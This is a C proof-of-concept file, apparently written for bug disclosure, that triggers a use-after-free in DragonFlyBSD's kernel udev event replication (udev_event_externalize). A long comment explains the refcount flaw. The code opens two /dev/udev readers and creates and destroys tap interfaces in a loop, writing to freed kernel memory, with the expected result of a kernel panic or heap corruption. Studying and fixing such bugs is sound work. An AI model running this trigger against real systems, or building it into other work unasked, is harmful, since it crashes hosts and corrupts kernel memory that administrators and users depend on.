DF-0055 / udev_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 | /* * DF-0055 PoC - use-after-free of shared udev event dictionary in * udev_event_externalize (multi-reader event replication). * * VERIFIED BUG MECHANISM (sys/kern/kern_udev.c on master DEV): * * - udev_event_insert() (:501) enqueues an event with a freshly * prop_dictionary_copy()'d dict (refcount=1) held in ev->ev.ev_dict (:512). * - The udev queue replicates every event to ALL openers via a per-softc * marker node inserted into the shared udev_evq TAILQ. * - udev_dev_read() (:811) finds the next event after this reader's marker * (skipping NULL-dict nodes), then calls udev_event_externalize() (:842). * - udev_event_externalize() (:548) does: * :566 prop_dictionary_set(dict, "evdict", ev->ev.ev_dict) * -> prop_object_retain(ev_dict) [dict refcount: 1->2] * :571 prop_object_release(ev->ev.ev_dict) [dict refcount: 2->1] * :575 prop_object_release(dict) (temp dict) * -> dict destructor releases its child -> ev_dict refcount 1->0 * -> ev_dict is FREED. ev->ev.ev_dict is NOT NULLed. * - After reader 1 finishes, ev->ev.ev_dict is a dangling non-NULL pointer * and the event is still on udev_evq (udev_clean_events_locked at :535 * stops at the trailing reader's marker, which is still before this event). * - Reader 2's read finds the same event (dangling non-NULL ev_dict passes * the :839 skip loop and the :540 predicate), calls udev_event_externalize * again, which at :566 passes the dangling pointer to prop_dictionary_set * -> prop_object_retain(freed) -> atomic_inc_32_nv on freed memory = UAF. * prop_object.c:987-994. * * The sequence is DETERMINISTIC (the udev_lk serializes the two reads; the * only requirement is that reader 2's marker is still before the event when * reader 1 reads it, which is guaranteed if both readers initiate before the * event is generated). No tight race. * * Privilege: /dev/udev is 0600 root:wheel (kern_udev.c:1039-1041). * * Build (DragonFlyBSD): cc -O2 -o udev_uaf udev_uaf.c * Run as root (disposable VM): * ./udev_uaf * * Expected (bug present): kernel panic / fatal trap on the second reader's * externalize (UAF write to freed proplib object), or slab/objcache * corruption warnings then panic. On a non-INVARIANTS kernel the freed * proplib object may be reused by the objcache and the atomic_inc lands on * garbage; the guest then either faults immediately or corrupts the heap * and panics shortly after. * * Expected (bug fixed): the program runs to completion, prints "no panic" * after N iterations, and exits 0. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/wait.h> #include <sys/ioctl.h> /* * Reader child: open its own /dev/udev (own softc/marker), read events in a * loop, count them. Exits when the pipe is closed by the parent. */ static void reader(int syncfd) { char buf[16384]; ssize_t n; int fd; unsigned long count = 0; fd = open("/dev/udev", O_RDWR); if (fd < 0) { perror("reader: open /dev/udev"); _exit(2); } /* Tell parent we are open & ready. */ close(syncfd); for (;;) { n = read(fd, buf, sizeof(buf)); if (n < 0) { perror("reader: read"); break; } if (n == 0) break; count++; } /* NOTREACHED on a panicking kernel */ fprintf(stderr, "[reader pid %d] read %lu events\n", getpid(), count); _exit(0); } int main(void) { int syncpipe[2]; pid_t r1, r2; int iters, status; char cmd[128]; if (geteuid() != 0) { fprintf(stderr, "need root (uid 0) for /dev/udev access\n"); return 1; } if (pipe(syncpipe) < 0) { perror("pipe"); return 1; } fprintf(stderr, "[*] DF-0055: udev_event_externalize shared-dict UAF trigger\n"); fprintf(stderr, "[*] forking two /dev/udev readers (two softcs/markers)...\n"); r1 = fork(); if (r1 < 0) { perror("fork"); return 1; } if (r1 == 0) { reader(syncpipe[0]); _exit(0); } r2 = fork(); if (r2 < 0) { perror("fork"); return 1; } if (r2 == 0) { reader(syncpipe[0]); _exit(0); } /* Parent: wait for both readers to have opened /dev/udev. */ close(syncpipe[0]); close(syncpipe[1]); /* Give the readers time to enter their blocking read() (which inserts * their markers at TAILQ_HEAD and auto-initiates them). */ usleep(300000); fprintf(stderr, "[*] generating device attach/detach events (tap create/destroy)...\n"); fprintf(stderr, "[*] each event is externalized by reader #1 (frees shared dict),\n" " then by reader #2 (UAF: prop_object_retain on freed dict).\n"); /* * Generate many events. Each create+destroy pair produces 2 udev * events; each event triggers the deterministic UAF on reader #2. */ for (iters = 0; iters < 80; iters++) { snprintf(cmd, sizeof(cmd), "/sbin/ifconfig tap%d create 2>/dev/null", iters); system(cmd); snprintf(cmd, sizeof(cmd), "/sbin/ifconfig tap%d destroy 2>/dev/null", iters); system(cmd); usleep(20000); } /* If we get here, the kernel did not panic from the UAF. Give the * readers a moment to drain, then report. */ usleep(500000); fprintf(stderr, "[!] no panic after %d create/destroy cycles (%d udev events).\n", iters, iters * 2); fprintf(stderr, "[!] On a non-INVARIANTS kernel the freed dict may have been\n" " silently reused; check dmesg / boot.log for slab/objcache\n" " warnings or delayed corruption. Run with more iterations or\n" " an INVARIANTS kernel to force an immediate fault.\n"); kill(r1, SIGTERM); kill(r2, SIGTERM); waitpid(r1, &status, 0); waitpid(r2, &status, 0); return 0; } |